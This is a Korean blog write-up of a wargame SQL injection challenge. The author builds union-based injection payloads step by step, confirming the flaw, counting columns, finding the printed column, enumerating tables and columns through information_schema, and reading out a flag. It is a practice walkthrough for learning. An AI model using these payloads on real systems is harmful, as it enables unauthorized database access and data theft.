ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SQL Injection - 2
    wargame/segfault 2024. 6. 17. 10:01

     

    페이지 모습은 다음과 같다. 이번에도 검색 창이 존재하고, 검색 옵션은 User ID밖에 안된다. 다만 저번문제와 달리 아무 데이터도 초반에 보이지 않는다. 그러나 placeholder에 normaltic이 있는 것을 보아 이 아이디로 힌트를 준 것 같다.

     

    먼저 normaltic을 검색해본다.

     

    get 방식으로 search=normaltic 처럼 담겨 전달된다. 이번에는 burp 캡쳐화면보다 브라우저가 많이 나올 것이다.

    ID에 normaltic이 나오고, Level, Rank Point는 필터처리되었으며, info에는 특정 데이터가 출력된다.

     

    이제 sql 추측을 하기 위해 nor 을 삽입해서도 검색해본다.

     

    그러나 아까와 달리 ID에는 nor이 나오고 Info에는 아무것도 출력되지 않은 것을 알 수 있다.

     

    nor라는 유저가 존재하고 실제로 info에 아무 데이터가 없을 수도 있기 때문에 이번에는 아무 데이터나 넣어본다.

     

     

    anything이라고 아무 데이터나 넣었는데 ID에 anything이 출력되었고 Info에는 아무것도 출력되지 않는다.

    여기서 알 수 있는 것은 ID에는 우리가 검색한 데이터 자체가 출력이 되고, info는 데이터가 제대로 출력이 되었는지 확인할 수 있는 기준이 될 수 있다는 것이다.

     

    그리고 nor을 입력했을 때 normaltic이 나오지 않는 것을 보아 select문에 like 연산자를 쓰지 않는다는 가정을 하고 sql문을 추측해본다.

    # SELECT * from member WHERE id='___'

     

    그래서 만약 이 질의문과 동일한 구조이고, sql injection이 가능한지 확인해본다.

     


     

    SQL Injection 가능성 확인

    # SELECT * from member WHERE id='___' 에
    
    # normaltic' and '1'='1		을 삽입해본다.
    
    # SELECT * from member WHERE id='normaltic' and '1'='1'

     

    normaltic' and '1'='1      삽입

     

     

    결과에서 id에 우리가 삽입한 문자열이 출력되었고, info에서는 normaltic의 info가 제대로 출력되었다.

    그러므로 SQL Injection이 가능하다고 판단된다.


    SQL Injection을 이용한 flag 찾기

    sql 질의문 결과가 화면에 출력되기 때문에 Union SQL Injection을 실시한다.

    1. Column 개수 찾기

    # normaltic' order by 숫자 # 로 column의 개수를 찾아낸다.
    
    # SELECT * from member WHERE id='___'
    # SELECT * from member WHERE id='normaltic' order by 숫자 #'

    normaltic' order by 6 #      까지는 되었는데 7에서는 정상적으로 출력되지 않았기 때문에 select문에서 사용하는 column은 6개이다.

     

    column 개수: 6

     


    2. 출력되는 column 위치 찾기

    # normaltic' union select 1,2,3,4,5,6 #			을 이용해서 출력되는 곳을 찾아본다.
    # SELECT * from member WHERE id='___'
    # SELECT * from member WHERE id='normaltic' union select 1,2,3,4,5,6 #'

     

    normaltic' union select 1,2,3,4,5,6 # 삽입

     

     

    그러나 결과에서 숫자가 출력되지 않는다. 이건 이 리스트를 보여주는 곳에서 row 하나만 출력되기 때문이다. 그래서 union select 결과를 보기 위해서는 앞에 검색하는 normaltic을 공백으로 만들던가, union select문 뒤에 limit 1,1을 덧붙여 두번째 row가 출력되도록 해야한다.

     

    나는 두번째 방법으로 해보겠다. normaltic' union select 1,2,3,4,5,6 limit 1,1 # 삽입

     

     

     

    그러자 6이 Info 자리에 출력되었다. 따라서 우리는 앞으로 column 6번째 자리를 이용해서 데이터를 추출하면 된다.

     


    3. DB 이름 확인

    # normaltic' union select 1,2,3,4,5,database() limit 1,1 #		을 삽입
    # SELECT * from member WHERE id='___'
    # SELECT * from member WHERE id='normaltic' union select 1,2,3,4,5,database() limit 1,1 #'

     

    normaltic' union select 1,2,3,4,5,database() limit 1,1 # 삽입

     

     

    DB 이름: sqli_5

     


    4. Table 이름 확인

    # mysql에서 Table 이름을 출력하기 위해선
    # SELECT table_name from information_schema.tables where table_schema='db이름'
    # 을 삽입하면 된다. 바로 전 단계에서 얻어낸 db이름이 sqli_5이었으므로 이것을 삽입하면 결국
    # SELECT table_name from information_schema.tables where table_schema='sqli_5'
    # 이 된다. 뽑아낼 column에 해당하는 table_name을 아까와 같이 삽입하고
    # from 부터 뒷부분은 union 가장 뒤에 삽입하면 된다.
    
    # 따라서 union 절의 6번째 column 자리에 table_name 를 삽입한다.
    # 그리고 union 절 마지막 column 뒤에 from information_schema.tables where table_schema='sqli_5' limit 1,1 # 을 삽입한다.
    
    # SELECT * from member WHERE id='__' 에
    # normaltic' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 1,1 #		를 삽입하여
    
    # SELECT * from member WHERE id like 'normaltic' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 1,1  #'
    # 가 된다.

     

    normaltic' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 1,1 #

    삽입

     

    flag_honey라는 table이 나왔다. limit 2,1로 변경해서 다른 테이블도 추출해본다.

    game_user, secret 두가지가 추가로 추출되었다. 이미 flag_honey를 다 추출해봐서 하는 말이지만 secret table에 진짜 flag가 있다. secret table로 진행하겠다.

     


    5. column 이름 확인

    # mysql에서 column 이름을 출력하기 위해선
    # SELECT column_name from information_schema.columns where table_name='table이름'
    # 을 삽입하면 된다. 바로 전 단계에서 얻어낸 table이름이 secret이었으므로 이것을 삽입하면 결국
    # SELECT column_name from information_schema.columns where table_name='secret'
    # 이 된다. 뽑아낼 column에 해당하는 column_name을 아까와 같이 삽입하고
    # from 부터 뒷부분은 union 가장 뒤에 삽입하면 된다.
    
    # 따라서 union 절의 6번째 column 자리에 column_name 를 삽입한다.
    # 그리고 union 절 마지막 column 뒤에 from information_schema.columns where table_name='secret' limit 1,1 # 을 삽입한다.
    
    # SELECT * from member WHERE id='__' 에
    # normaltic' union select 1,2,3,4,5,column_name from information_schema.columns where table_name='secret' limit 1,1 #		를 삽입하여
    
    # SELECT * from member WHERE id='normaltic' union select 1,2,3,4,5,column_name from information_schema.columns where table_name='secret' limit 1,1 #'
    # 가 된다.

    normaltic' union select 1,2,3,4,5,column_name from information_schema.columns where table_name='secret' limit 1,1 #

    삽입

     

    column : flag

     


    6. Data 추출

    # SELECT * from member WHERE id='__' 에
    # normaltic' union select 1,2,3,4,5,flag from secret limit 1,1 #   을 삽입하면
    
    # SELECT * from member WHERE id='ormaltic' union select 1,2,3,4,5,flag from secret limit 1,1 #'
    # 이 되어 데이터가 출력된다.

     

    normaltic' union select 1,2,3,4,5,flag from secret limit 1,1 # 삽입

     

     

    Info에 약올리는 문구가 출력된다. limit 2,1으로 변경해서 검색해본다.

     

    제대로 flag가 출력 되었다!

    'wargame > segfault' 카테고리의 다른 글

    SQL Injection - Blind Practice  (0) 2024.06.17
    SQL Injection - Error Based SQLi Basic  (0) 2024.06.17
    SQL Injection - 1  (0) 2024.06.17
    Authentication Bypass - Secret Login  (0) 2024.06.16
    Authentication Bypass - Login Bypass 5  (0) 2024.06.16
Designed by Tistory.